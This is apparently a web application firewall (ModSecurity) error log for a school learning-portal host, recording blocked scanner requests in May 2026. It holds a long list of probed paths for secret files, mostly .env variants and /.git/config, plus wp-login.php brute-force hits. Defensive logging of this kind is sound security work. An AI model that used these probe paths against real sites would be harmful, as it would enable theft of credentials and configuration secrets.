[Fri May 15 16:31:53.043519 2026] [:error] [pid 9392:tid 9397] [client 34.88.217.105:43932] [client 34.88.217.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "agbZ-dBWJIjH1U9zGfa14QAAAQM"]
[Sun May 17 18:42:20.593056 2026] [:error] [pid 36652:tid 36674] [client 172.71.172.166:13236] [client 172.71.172.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "agmbjDZrzQadnZADvj9V4AAAARQ"]
[Thu May 21 10:45:52.168646 2026] [:error] [pid 9188:tid 9212] [client 139.59.215.9:64032] [client 139.59.215.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.215.9, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "ag5x4LGYm6q5dNSUvA-GtgAAAdQ"]
[Thu May 21 10:45:53.178525 2026] [:error] [pid 9188:tid 9200] [client 139.59.215.9:55434] [client 139.59.215.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.215.9, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "ag5x4bGYm6q5dNSUvA-GuAAAAcg"]
[Thu May 21 16:30:18.211663 2026] [:error] [pid 9157:tid 9183] [client 54.226.193.163:35242] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "ag7CmsGfHcLNqE8m88J4wAAAAZg"]
[Thu May 21 16:30:19.376697 2026] [:error] [pid 49884:tid 49966] [client 54.226.193.163:35246] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "ag7Cm65MPpsTNNHWS6iazwAAAJM"]
[Thu May 21 16:30:20.340880 2026] [:error] [pid 49879:tid 49922] [client 54.226.193.163:35258] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "ag7CnIVqYDjFSyG2gFpP1QAAAEI"]
[Thu May 21 16:30:21.338490 2026] [:error] [pid 9157:tid 9179] [client 54.226.193.163:35260] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "ag7CncGfHcLNqE8m88J4xAAAAZQ"]
[Thu May 21 16:30:22.291246 2026] [:error] [pid 49877:tid 49902] [client 54.226.193.163:35266] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "ag7CnhgN4MeSe4kIL9AscwAAAA4"]
[Thu May 21 16:30:23.252802 2026] [:error] [pid 9157:tid 9166] [client 54.226.193.163:35280] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "ag7Cn8GfHcLNqE8m88J4xQAAAYc"]
[Thu May 21 16:30:24.194167 2026] [:error] [pid 9114:tid 9119] [client 54.226.193.163:35296] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "ag7CoG8FiJqDBEoTvqxn3QAAAUM"]
[Thu May 21 16:30:25.179688 2026] [:error] [pid 49982:tid 49988] [client 54.226.193.163:59662] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.remote"] [unique_id "ag7CoWFwIDa5Tf8O4bbGgAAAAMQ"]
[Thu May 21 16:30:26.032190 2026] [:error] [pid 49877:tid 49909] [client 54.226.193.163:59670] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "ag7CohgN4MeSe4kIL9AsdwAAABU"]
[Thu May 21 16:30:26.858331 2026] [:error] [pid 49982:tid 50003] [client 54.226.193.163:59672] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "ag7ComFwIDa5Tf8O4bbGlwAAANM"]
[Thu May 21 16:30:27.803120 2026] [:error] [pid 49982:tid 50002] [client 54.226.193.163:59688] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "ag7Co2FwIDa5Tf8O4bbGmAAAANI"]
[Thu May 21 16:30:28.787338 2026] [:error] [pid 9189:tid 9230] [client 54.226.193.163:59698] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "ag7CpJvTDh1NbYizKVyN-AAAAgs"]
[Thu May 21 16:30:29.786619 2026] [:error] [pid 49884:tid 49970] [client 54.226.193.163:59700] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.sample"] [unique_id "ag7Cpa5MPpsTNNHWS6ia3AAAAJc"]
[Thu May 21 16:30:30.767205 2026] [:error] [pid 9114:tid 9124] [client 54.226.193.163:59714] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "ag7Cpm8FiJqDBEoTvqxn4gAAAUg"]
[Thu May 21 16:30:31.791936 2026] [:error] [pid 9157:tid 9183] [client 54.226.193.163:59718] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "ag7Cp8GfHcLNqE8m88J4yQAAAZg"]
[Thu May 21 16:30:32.722992 2026] [:error] [pid 49879:tid 49939] [client 54.226.193.163:59724] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "ag7CqIVqYDjFSyG2gFpP3AAAAFM"]
[Thu May 21 16:30:33.741028 2026] [:error] [pid 49879:tid 49942] [client 54.226.193.163:59732] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.stage"] [unique_id "ag7CqYVqYDjFSyG2gFpP3gAAAFY"]
[Thu May 21 16:30:34.640687 2026] [:error] [pid 49884:tid 49952] [client 54.226.193.163:59734] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.ci"] [unique_id "ag7Cqq5MPpsTNNHWS6ia4gAAAIU"]
[Thu May 21 16:30:35.624295 2026] [:error] [pid 49982:tid 50008] [client 54.226.193.163:60204] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.docker"] [unique_id "ag7Cq2FwIDa5Tf8O4bbGoQAAANg"]
[Thu May 21 16:30:36.576093 2026] [:error] [pid 49879:tid 49932] [client 54.226.193.163:60206] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.live"] [unique_id "ag7CrIVqYDjFSyG2gFpP4AAAAEw"]
[Thu May 21 16:30:37.608513 2026] [:error] [pid 49884:tid 49965] [client 54.226.193.163:60212] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.preprod"] [unique_id "ag7Cra5MPpsTNNHWS6ia6gAAAJI"]
[Thu May 21 16:30:38.514784 2026] [:error] [pid 9188:tid 9204] [client 54.226.193.163:60220] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.uat"] [unique_id "ag7CrrGYm6q5dNSUvA_EbgAAAcw"]
[Thu May 21 16:30:39.511486 2026] [:error] [pid 49884:tid 49958] [client 54.226.193.163:60236] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dist"] [unique_id "ag7Cr65MPpsTNNHWS6ia6wAAAIs"]
[Thu May 21 16:30:40.458121 2026] [:error] [pid 9188:tid 9198] [client 54.226.193.163:60248] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.swp"] [unique_id "ag7CsLGYm6q5dNSUvA_EdwAAAcY"]
[Thu May 21 16:30:41.343637 2026] [:error] [pid 49982:tid 49985] [client 54.226.193.163:60256] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env~"] [unique_id "ag7CsWFwIDa5Tf8O4bbGqQAAAME"]
[Thu May 21 16:30:42.336100 2026] [:error] [pid 49879:tid 49936] [client 54.226.193.163:60262] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env1"] [unique_id "ag7CsoVqYDjFSyG2gFpP5AAAAFA"]
[Thu May 21 16:30:43.290946 2026] [:error] [pid 49877:tid 49905] [client 54.226.193.163:60276] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env2"] [unique_id "ag7CsxgN4MeSe4kIL9AsiQAAABE"]
[Thu May 21 16:30:44.282306 2026] [:error] [pid 9188:tid 9201] [client 54.226.193.163:60286] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env_copy"] [unique_id "ag7CtLGYm6q5dNSUvA_EeAAAAck"]
[Thu May 21 16:30:45.303426 2026] [:error] [pid 49884:tid 49958] [client 54.226.193.163:54504] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.txt"] [unique_id "ag7Cta5MPpsTNNHWS6ia8AAAAIs"]
[Thu May 21 16:30:46.288649 2026] [:error] [pid 49982:tid 49984] [client 54.226.193.163:54512] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.json"] [unique_id "ag7CtmFwIDa5Tf8O4bbGsQAAAMA"]
[Thu May 21 16:30:47.241810 2026] [:error] [pid 49879:tid 49939] [client 54.226.193.163:54516] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.yaml"] [unique_id "ag7Ct4VqYDjFSyG2gFpP6QAAAFM"]
[Thu May 21 16:30:48.159129 2026] [:error] [pid 49877:tid 49906] [client 54.226.193.163:54528] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.yml"] [unique_id "ag7CuBgN4MeSe4kIL9AsjQAAABI"]
[Thu May 21 16:30:49.089795 2026] [:error] [pid 49884:tid 49950] [client 54.226.193.163:54534] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "ag7Cua5MPpsTNNHWS6ia9QAAAIM"]
[Thu May 21 16:30:50.042419 2026] [:error] [pid 49884:tid 49964] [client 54.226.193.163:54546] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/apps/.env"] [unique_id "ag7Cuq5MPpsTNNHWS6ia-wAAAJE"]
[Thu May 21 16:30:51.029569 2026] [:error] [pid 9189:tid 9219] [client 54.226.193.163:54558] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "ag7Cu5vTDh1NbYizKVyOAQAAAgA"]
[Thu May 21 16:30:52.040996 2026] [:error] [pid 9114:tid 9139] [client 54.226.193.163:54568] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/web/.env"] [unique_id "ag7CvG8FiJqDBEoTvqxn5gAAAVc"]
[Thu May 21 16:30:53.017911 2026] [:error] [pid 49884:tid 49960] [client 54.226.193.163:54580] [client 54.226.193.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/site/.env"] [unique_id "ag7Cva5MPpsTNNHWS6ibBgAAAI0"]
[Fri May 22 09:10:10.884417 2026] [:error] [pid 15585:tid 15655] [client 176.65.139.233:61592] [client 176.65.139.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "ag-s8iKb-vB41AF-LC2VSgAAAIg"]